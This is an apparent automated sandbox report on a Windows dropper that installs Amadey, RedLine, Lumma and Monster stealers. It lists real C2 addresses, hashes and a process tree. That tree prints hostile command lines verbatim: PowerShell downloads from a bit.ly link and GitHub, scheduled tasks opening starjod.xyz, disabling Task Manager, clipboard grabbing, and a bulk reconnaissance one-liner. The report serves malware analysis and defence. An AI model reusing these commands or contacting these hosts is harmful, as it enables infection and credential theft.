Analysis
-
max time kernel
143s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
24-06-2024 23:55
General
-
Target
199e4566265158c35c092041a7e2fec0b9b2bfa68daada1a9dd6e3e584babb4e.exe
-
Size
1.8MB
-
MD5
4615b37bd5b7374e6cc501dd51c317e3
-
SHA1
5376df3ed515bd369414321d4a76da9709776844
-
SHA256
199e4566265158c35c092041a7e2fec0b9b2bfa68daada1a9dd6e3e584babb4e
-
SHA512
d5e280e154a0a2ddf15ee60adefed44988a7c5d3cbb1ea9b195af6f8094e544b3088a844dc1fadf16fbc2cd5c5b2f29e0f78f7c9eda794e7fd78fcc936b43f07
-
SSDEEP
49152:Z7xHQYU78RCl3jtNDHwoecp/xsa4lK2NTBoB2:ZFHQYUNjwoBp/1KTBx
Malware Config
Extracted
amadey
8254624243
e76b71
http://77.91.77.81
-
install_dir
8254624243
-
install_file
axplong.exe
-
strings_key
90049e51fabf09df0d6748e0b271922e
-
url_paths
/Kiru9gu/index.php
Extracted
redline
AMA
185.215.113.67:40960
Extracted
redline
LiveTraffic
4.184.236.127:1110
Extracted
lumma
https://parallelmercywksoffw.shop/api
https://liabiliytshareodlkv.shop/api
https://notoriousdcellkw.shop/api
https://conferencefreckewl.shop/api
https://flourhishdiscovrw.shop/api
https://landdumpycolorwskfw.shop/api
https://barebrilliancedkoso.shop/api
https://disappointcredisotw.shop/api
https://publicitycharetew.shop/api
https://computerexcudesp.shop/api
https://leafcalfconflcitw.shop/api
https://injurypiggyoewirog.shop/api
https://bargainnygroandjwk.shop/api
https://doughtdrillyksow.shop/api
https://facilitycoursedw.shop/api
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detects Monster Stealer. 2 IoCs
-
Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
-
Lumma Stealer
An infostealer written in C++ first seen in August 2022.
-
Monster
Monster is a Golang stealer that was discovered in 2024.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
-
Blocklisted process makes network request 9 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Powershell Invoke Web Request.
-
Disables Task Manager via registry modification
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 16 IoCs
-
Identifies Wine through registry keys 2 TTPs 4 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 33 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 3 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
-
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 1 IoCs
-
Modifies registry class 1 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 45 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\199e4566265158c35c092041a7e2fec0b9b2bfa68daada1a9dd6e3e584babb4e.exe"C:\Users\Admin\AppData\Local\Temp\199e4566265158c35c092041a7e2fec0b9b2bfa68daada1a9dd6e3e584babb4e.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4296 -s 2884⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1000020001\1.exe"C:\Users\Admin\AppData\Local\Temp\1000020001\1.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 4126⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe"C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c ins.bat4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"5⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"5⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://bit.ly/4c7L8Zs' -UseBasicParsing >$null"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\install.bat' -Verb runAs -WindowStyle Hidden"5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:007⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 000000017⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F7⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F7⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/frielandrews892/File/releases/download/File/File.zip' -OutFile 'C:\Users\Admin\AppData\Local\Corporation.zip'"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Corporation.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Corporation'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exeschtasks /query /TN "Cleaner"5⤵
-
C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe"C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 2724⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exe"C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe"C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\stub.exe"C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""5⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"6⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Get-Clipboard6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"5⤵
-
C:\Windows\system32\chcp.comchcp6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"5⤵
-
C:\Windows\system32\chcp.comchcp6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"5⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"5⤵
-
C:\Windows\system32\systeminfo.exesysteminfo6⤵
- Gathers system information
-
C:\Windows\system32\HOSTNAME.EXEhostname6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption,description,providername6⤵
- Collects information from the system
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\net.exenet user6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user7⤵
-
C:\Windows\system32\query.exequery user6⤵
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"7⤵
-
C:\Windows\system32\net.exenet localgroup6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup7⤵
-
C:\Windows\system32\net.exenet localgroup administrators6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators7⤵
-
C:\Windows\system32\net.exenet user guest6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user guest7⤵
-
C:\Windows\system32\net.exenet user administrator6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user administrator7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic startup get caption,command6⤵
-
C:\Windows\system32\tasklist.exetasklist /svc6⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\ipconfig.exeipconfig /all6⤵
- Gathers network information
-
C:\Windows\system32\ROUTE.EXEroute print6⤵
-
C:\Windows\system32\ARP.EXEarp -a6⤵
-
C:\Windows\system32\NETSTAT.EXEnetstat -ano6⤵
- Gathers network information
-
C:\Windows\system32\sc.exesc query type= service state= all6⤵
- Launches sc.exe
-
C:\Windows\system32\netsh.exenetsh firewall show state6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\system32\netsh.exenetsh firewall show config6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3640,i,14648456027158448592,4956305794400220180,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4296 -ip 42961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1216 -ip 12161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2524 -ip 25241⤵
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Account Manipulation
1Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Virtualization/Sandbox Evasion
2Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Hide Artifacts
2Hidden Files and Directories
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.logFilesize
2KB
MD50afd29b928418e48de93ad4cd299d9e9
SHA1464949aeb08839bbc5c9bba1e65bcaf18e1763ea
SHA25629680de75e55d9b01e021bb387065d3085d0ee422d8ad2d53cd38074b98276c8
SHA512a2b9683cc2450449874617fcc36af6779fe3e8bcdffa7c1f31be0189dbaeb1597330a5996dfd40a46e54dd6fe1ec162fe37160858941d41b518b7325e0ac212f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b6b62fabc50bfae977635bcebb14c566
SHA1653628f0db5229d9136ee897e92bedba3b1d91aa
SHA256bd5e81d2c243ab6465ad978a5124f723b6518c08d63e4ebb386a564ebf3384be
SHA5129bbbbdd9b0571e55065751e2100b21685ef630641bedf53e6a1c8b3ec96606c378ec53d732500e7dc17ae6e3a1b4d37f2fdbec8e493f6bdf10e4b829dad5962f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD547ff0d69956664e3c4981e1fbcbf35c4
SHA1222caee706ac140e08dd01f490639416e4882e53
SHA256bc4095d515203c211fd0a6f3fe1e85af3d82f04254092c176a23e8aa978287aa
SHA512e19bf1154c056a4b6736bffa83c189f235dbd6695100859c0f0849ba010c753e1f4c5e558063bf8bc1bea447581a2a816e4033a9a8462b4766da4f4c09a8d658
-
C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exeFilesize
297KB
MD55d860e52bfa60fec84b6a46661b45246
SHA11259e9f868d0d80ac09aadb9387662347cd4bd68
SHA256b4a1e470f814bbcf1bc26c087eb513f4bab6165c90ecf43ac71dd87702561c30
SHA51204ea5757d01508a44e0152b3aa78f530908da649d59b8ce7ee3e15c2d4d0314c97f346c1e79b1810edb27165d04781c022937d02536dc9b1dd4c55f023a47701
-
C:\Users\Admin\AppData\Local\Temp\1000020001\1.exeFilesize
309KB
MD58978e47f10f5ab97ff28fa703a94f4e0
SHA10c3c60db73290c06acdce42460feaa9ca6c608e9
SHA25683ca97731e4ca79ec7932e64a09ae0ec64e3585fc049ec35c5d8cd84b69d2379
SHA512207a48293ab3fb7bbbdd292f2994fdbf5d4ed5cdeb3e880c0ef9911a5571daa50111c3a1744525a06e4a5c10146d6beebd8531138461f5f004df7400efbfba46
-
C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exeFilesize
493KB
MD592c01627961859a84ffa633327c5d7f9
SHA15b406c39f81f67e2b2e263137c7059718e4af007
SHA25692373c134cbf9fc4a98ed7c80f244c8655b3852d3a1f1983fc4a7b3a00bf1370
SHA512f31f9d45d7783441866faa0e684412040dd74c2878adfc6e5a874626e291b3e3cae7746cb62e2388d4183e615d9b919178fa409f2e12b3d0cf478c59450d3439
-
C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exeFilesize
310KB
MD56e3d83935c7a0810f75dfa9badc3f199
SHA19f7d7c0ea662bcdca9b0cda928dc339f06ef0730
SHA256dc4f0a8e3d12c98eac09a42bd976579ccc1851056d9de447495e8be7519760ed
SHA5129f6b22bc9d0306a69d3c5bab83c7603fa23925c12089f9608772602ab2c4c0908cda2a3d9592fc0fab4aaff209ef41d3e2a931511ce9dfd027691e8dce9ad9b9
-
C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exeFilesize
415KB
MD507101cac5b9477ba636cd8ca7b9932cb
SHA159ea7fd9ae6ded8c1b7240a4bf9399b4eb3849f1
SHA256488385cd54d14790b03fa7c7dc997ebea3f7b2a8499e5927eb437a3791102a77
SHA51202240ff51a74966bc31cfcc901105096eb871f588efaa9be1a829b4ee6f245bd9dca37be7e2946ba6315feea75c3dce5f490847250e62081445cd25b0f406887
-
C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exeFilesize
154KB
MD55f331887bec34f51cca7ea78815621f7
SHA12eb81490dd3a74aca55e45495fa162b31bcb79e7
SHA256d7ab2f309ee99f6545c9e1d86166740047965dd8172aec5f0038753c9ff5e9d8
SHA5127a66c5d043139a3b20814ac65110f8151cf652e3f9d959489781fdaea33e9f53ce9fd1992f1a32bff73380c7d9ef47200d8b924a8adf415e7a93421d62eb054d
-
C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exeFilesize
659KB
MD5bbd06263062b2c536b5caacdd5f81b76
SHA1c38352c1c08fb0fa5e67a079998ef30ebc962089
SHA2561875275da8d576fd9962c5b2bd9fe0e4b4d188caad9549125c8a64ecaf9308c9
SHA5127faa4e18cc9d7d82cb8efe8494668e05f75ddd5a8c9c9a058b2246a786a60d7761168862220b70820b02f38f196cfb5f106db36cdcfd5a5a3f9dfd01654eb9ad
-
C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exeFilesize
5.8MB
MD56c149b39619395a8ba117a4cae95ba6f
SHA13ef8be98589745ecce5522dd871e813f69a7b71b
SHA256c43b64c78f6ccba5cfb7de13fc39d5cc43fad9a9f5e78799b34100ab69e5e4e8
SHA512866edae7858e7bfb82486e99b31550307de81fa732a3075b6e2ff0abcade5331be28bb14d894cdf5176dc907a45aaa1407b6d8c4295cc69b6d45516f319560a4
-
C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exeFilesize
10.7MB
MD5c09ff1273b09cb1f9c7698ed147bf22e
SHA15634aec5671c4fd565694aa12cd3bf11758675d2
SHA256bf8ce6bb537881386facfe6c1f9003812b985cbc4b9e9addd39e102449868d92
SHA512e8f19b432dc3be9a6138d6a2f79521599087466d1c55a49d73600c876508ab307a6e65694e0effb5b705fdecdd0e201f588c8d5c3767fe9ae0b8581c318cadac
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeFilesize
1.8MB
MD54615b37bd5b7374e6cc501dd51c317e3
SHA15376df3ed515bd369414321d4a76da9709776844
SHA256199e4566265158c35c092041a7e2fec0b9b2bfa68daada1a9dd6e3e584babb4e
SHA512d5e280e154a0a2ddf15ee60adefed44988a7c5d3cbb1ea9b195af6f8094e544b3088a844dc1fadf16fbc2cd5c5b2f29e0f78f7c9eda794e7fd78fcc936b43f07
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ins.batFilesize
1KB
MD50be4cbfa51fe5f8010e78553a28f2779
SHA1ae21783c148ae1443fa87a43b9b51cb0ab1a799b
SHA256cc56d197270cdf7c3b5c193ec5b3c63dd87b57b58f90571649f8f0e29a6f1a90
SHA512337a332eecb12cb065a09b3ae01e86802082c576b203ffd1a8270c69172036dc244ecffad1fba3de76d573c77f1315821a563d2a4aed73bfeb9e9bdf6107edfd
-
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_ctypes.pydFilesize
119KB
MD587596db63925dbfe4d5f0f36394d7ab0
SHA1ad1dd48bbc078fe0a2354c28cb33f92a7e64907e
SHA25692d7954d9099762d81c1ae2836c11b6ba58c1883fde8eeefe387cc93f2f6afb4
SHA512e6d63e6fe1c3bd79f1e39cb09b6f56589f0ee80fd4f4638002fe026752bfa65457982adbef13150fa2f36e68771262d9378971023e07a75d710026ed37e83d7b
-
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_overlapped.pydFilesize
47KB
MD57e6bd435c918e7c34336c7434404eedf
SHA1f3a749ad1d7513ec41066ab143f97fa4d07559e1
SHA2560606a0c5c4ab46c4a25ded5a2772e672016cac574503681841800f9059af21c4
SHA512c8bf4b1ec6c8fa09c299a8418ee38cdccb04afa3a3c2e6d92625dbc2de41f81dd0df200fd37fcc41909c2851ac5ca936af632307115b9ac31ec020d9ed63f157
-
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\select.pydFilesize
28KB
MD5adc412384b7e1254d11e62e451def8e9
SHA104e6dff4a65234406b9bc9d9f2dcfe8e30481829
SHA25668b80009ab656ffe811d680585fac3d4f9c1b45f29d48c67ea2b3580ec4d86a1
SHA512f250f1236882668b2686bd42e1c334c60da7abec3a208ebebdee84a74d7c4c6b1bc79eed7241bc7012e4ef70a6651a32aa00e32a83f402475b479633581e0b07
-
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\sqlite3.dllFilesize
1.4MB
